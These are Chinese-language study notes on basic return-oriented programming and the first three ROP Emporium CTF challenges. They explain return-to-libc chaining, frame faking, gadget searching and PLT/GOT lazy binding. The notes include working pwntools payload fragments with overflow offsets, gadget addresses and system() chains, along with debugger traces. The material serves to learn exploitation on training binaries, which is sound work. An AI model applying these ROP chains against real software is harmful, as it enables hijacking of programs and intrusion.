<<基本ROP_ropemporium前三题
简单的ROP学习,没有开启PIE
Bypassing NX bit using chained return-to-libc
https://sploitfun.wordpress.com/2015/05/08/bypassing-nx-bit-using-chained-return-to-libc/
system address + exit address + system+args
exit相当于下一步地址,因为不是调用call, 不会压入下一步地址
chaining seteuid, system and exit
问题:
1 seteuid_arg should be zero
2 place function argument of both libc functions,,, a function argument of one libc function and an address of another libc function which is obviously not possible
seteuid_addr + system_addr + seteuid_addr / exit_addr
+ system_arg
seteuid_addr / exit_addr 这里冲突了,当然是可以舍弃exit的
解决问题2:
http://phrack.org/issues/58/4.html
ESP LiftingFrame Faking
esp lifting technique binary should be compiled without frame pointer (-fomit-frame-pointer) support.
Frame Faking:
用“leave ret” instruction 覆盖返回地址
leave = mov esp,ebp ; pop ebp
ret = pop EIP
第一次执行leave;ret时,此时ebp已经是fake_ebp1的地址值,执行完leave后,esp是seteuid_addr的地址,ebp是fake_ebp2的地址值,执行ret后,将seteuid_addr推向eip
,参数在ebp+0x4;之后同理,可以执行system()
解决问题1:
strcpy which copies a NULL byte into seteuid_arg’s stack location
using sprintf NULL byte is copied in to seteuid_arg’s stack location
ROP
system(“/bin/sh”)
push binsh_addr
call system
call system=
push eip+5
jmp system
所以栈中system地址要和参数隔四个字节,因为中间还要放返回地址
ROP
https://www.exploit-db.com/docs/english/28479-return-oriented-programming-(rop-ftw).pdf
ROP定义:
utilizing small instruction sequences **available in either the binary or libraries linked to the application called **gadgets
ROP gadgets are small instruction sequences ending with a “ret” instruction “c3”.
The ROP gadget has to end with a “ret” to enable us to perform multiple sequences. Hence it is called** return oriented.**
所以才叫return , gadget后面都跟着ret
有用的gadget
1- We search the binary for all “ret” (c3) byte.
2- We go backwards to see if the previous byte contains a valid instruction. We reverse to the maximum number of bytes that can make a valid instruction (20 bytes).
3- We then record all valid instruction sequences found in the binary or linked libraries.
Loading a constant into register
POP eax; ret;
栈;
Address of POP EAX/RET gadget
0xdeadbeef
Address of next gadget
Loading from memory
mov ecx,[eax]; ret
Storing into memory
Mov [eax],ecx; ret
Arithmetic operations
add eax,0x0b; ret
xor edx,edx;ret
System call
int 0x80; ret
call gs:[0x10]; ret
命令:
what libs are linked to the binary
gdb:info files
ps -aux | grep rop2
cat /proc/28119/maps
system call number of execve() is “11” or “0xb”
linux system call numbers in “/usr/include/i386-linux-gnu/asm/unistd_32.h “
grep execve
it wont affect the command “/bin/sh” is as
“/bin//sh”.
ROPradget --strings
学习ROP的练习平台ropemporium
https://ropemporium.com/index.html
起手式命令;;
Confirming protections
$ rabin2 -I <binary>
$ pwn checksec <binary>
Function names 符号表symbols
$ rabin2 -i <binary>
$ nm -u <binary>
$ nm ret2win|grep ' t '
Listing just those functions written by the programmer is harder, a rough approximation could be:
$ rabin2 -qs <binary> | grep -ve imp -e ' 0 '
-s symbols
grep
-q be quiet, just show fewer data
-v, --invert-match select non-matching lines
-e, --regexp=PATTERNS use PATTERNS for matching
Strings
查找程序中字符串
strings -d ./ret2win32
$ rabin2 -z split
偏移地址都给出了ROPgadget --bianry --strings '/bin/sh'
dmesg [options]
Display or control the kernel ring buffer.
For a quick and dirty confirmation of how many bytes are needed to cause an overflow
题目::
https://blog.csdn.net/SmalOSnail/article/details/106619419
https://github.com/TaQini/rop_emporium/blob/master/tasks
大佬代码
https://github.com/Finsenty54/attack-code/tree/master/ROPemporium
我的解题代码
ret2win
p.sendlineafter('>',b'A'*40+p64(0x00400756))
不用考虑截断?? pwntools自行解决,厉害👍
split
32位
payload += p32(system) +b’a’*4+ p32(catflag)
中间应该再加四个字节,作为返回地址
64位下传参
[0x00400742]> pdf
┌ 17: sym.usefulFunction ();
│ 0x00400742 55 push rbp
│ 0x00400743 4889e5 mov rbp, rsp
│ 0x00400746 bf4a084000 mov edi, str.bin_ls ; 0x40084a ; "/bin/ls" ; const char *string
│ 0x0040074b e810feffff call sym.imp.system ; int system(const char *string)
│ 0x00400750 90 nop
│ 0x00400751 5d pop rbp
└ 0x00400752 c3 ret
字符串传到了 $edi
所以要报字符串地址传到RDI中
https://www.megabeets.net/a-journey-into-radare-2-part-2/#Searching
https://trustfoundry.net/basic-rop-techniques-and-tricks/
如何搜索gadget
https://ropemporium.com/guide.html
五种工具,我用了radare2 和 ROPgadget
radare2中
/R [?] — Search for ROP gadgets
/R/ — Search for ROP gadgets with a regular expressions
太暴力了
[0x00400742]> /R pop rdi
0x004007c3 5f pop rdi
0x004007c4 c3 ret
ROPgadget
ROPgadget --binary | grep
callme
32位
ROPgadget --binary ./callme32 --only 'add esp'
callme1=p32(0x080484f0)
callme2=p32(0x08048550)
callme3=p32(0x080484e0)
addpopret=p32(0x080484aa)
#0x080484aa : add esp, 8 ; pop ebx ; ret
args1=p32(0xdeadbeef)
args2=p32(0xcafebabe)
args3=p32(0xd00df00d)
# rop1s
gadget=addpopret+args1+args2+args3
offset = 44
payload = b'A'*offset
payload += callme1+ gadget+ callme2+gadget+callme3+gadget
64位
64位下传参
│ 0x0040091e ba06000000 mov edx, 6
│ 0x00400923 be05000000 mov esi, 5
│ 0x00400928 bf04000000 mov edi, 4
│ 0x0040092d e8eefdffff call sym.imp.callme_one
所以用
#0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret
PLT 和 GOT.PLT
https://www.cnblogs.com/pannengzhi/p/2018-04-09-about-got-plt.html函数和变量作为符号
被存在可执行文件中, 不同类型的符号又聚合在一起, 称为符号表
https://ropemporium.com/guide.html#Appendix%20A
how the PLT is used in lazy binding
?
Lazy binding is a technique used by the dynamic linker
symbol lookups for function calls into shared objects are deferred until the first time a function is actually called.
对共享对象的函数调用的符号查找 只有当第一个函数真的调用时才查找
Two program sections are used to achieve this effect
theprocedure linkage table (.plt)
and part of the global offset table (.got.plt).
Lazy binding may be disabled by setting the LD_BIND_NOW environment variable to a nonempty string or using the RTLD_NOW flag when calling dlopen().
The first time an external function is called it, must be resolved. After that, all calls to it will be passed straight through to the desired functionrabin2 -R relocations
.plt 节
https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html
比如3 function stubs
take the form jmp; push; jmp
;. Above the stubs a push; jmp;
► 0x8049030 <puts@plt> jmp dword ptr [puts@got.plt] <0x804c00c>
间接跳转
pwndbg> x/wx 0x804c00c
0x804c00c <puts@got.plt>: 0x08049036
0x8049036 <puts@plt+6> push 0
0x804903b <puts@plt+11> jmp 0x8049020 <0x8049020>
it turns out that because we haven’t called puts before
还没有使用puts,跳转到got又跳回到下一命令
最后回到.plt
表开头
0x8049020 push dword ptr [GLOBAL_OFFSET_TABLE+4] <0x804c004>
► 0x8049026 jmp dword ptr [0x804c008] <_dl_runtime_resolve>
pwndbg> x/2xw 0x804c004
0x804c004: 0xf7ffd980 0xf7fe9730
第一个在连接器数据段是link_map地址
,第二个在连接器执行代码处是_dl_runtime_resolve地址
plt开头两个是来第一次运行时查地址的
因此, 实际上(第一次)调用puts@plt就相当于调用了_dl_runtime_resolve((link_map *)m, 0)!
其中link_map提供了运行时的必要信息,
而0则是puts函数的偏移(在puts@plt中push 0x0)
.
resolve执行完后::
pwndbg> disass ‘puts@plt’
Dump of assembler code for function puts@plt:
0x08049030 <+0>: jmp DWORD PTR ds:0x804c00c
0x08049036 <+6>: push 0x0
0x0804903b <+11>: jmp 0x8049020
End of assembler dump.
pwndbg> x/wx 0x804c00c
0x804c00c <puts@got.plt>: 0xf7e303c0
pwndbg> info symbol 0xf7e303c0
puts in section .text of /lib/i386-linux-gnu/libc.so.6
找到puts的代码地址
攻击防御
防止写got.plt表Enter relocations read-only, or RELRO.
a strategy was developed to allow looking up all of these addresses when the program was run and providing a mechanism to call these functions from libraries. This is known as relocation
.got
This is the GOT, or Global Offset Table. This is the actual table of offsets
as filled in by the linker for external symbols.
.plt
This is the PLT, or Procedure Linkage Table. These are stubs that look up the addresses in the .got.plt section, and either jump to the right address, or trigger the code in the linker to look up the address. (If the address has not been filled in to .got.plt yet.)
.got.plt
This is the GOT for the PLT. It contains thetarget addresses
(after they have been looked up) or an address back in the .plt to trigger the lookup. Classically, this data was part of the .got section
.GOT 开头包含实际地址,.plt开头是要跳转到目标
pwndbg> x/i $pc
=> 0x804845f <main+36>: call 0x8048300 <puts@plt>
.got.plt表内容
got0: 本ELF动态段(.dynamic段)的装载地址
got1: 本ELF的link_map数据结构描述符地址
got2: _dl_runtime_resolve函数的地址
__x86.get_pc_thunk.ax
objdump -d main_pi | grep “__x86.get_pc_thunk.ax” -A 2
000006ad <__x86.get_pc_thunk.ax>:
6ad: 8b 04 24 mov eax,DWORD PTR [esp]
6b0: c3 ret
作用就是把esp(即返回地址)的值保存在eax(PIC寄存器)中, 在接下来寻址用
详见https://www.cnblogs.com/pannengzhi/p/2018-04-09-about-got-plt.html
CTF-WIKI ROP
https://ctf-wiki.org/pwn/linux/stackoverflow/basic-rop/
ROP
命令
gdb vmmap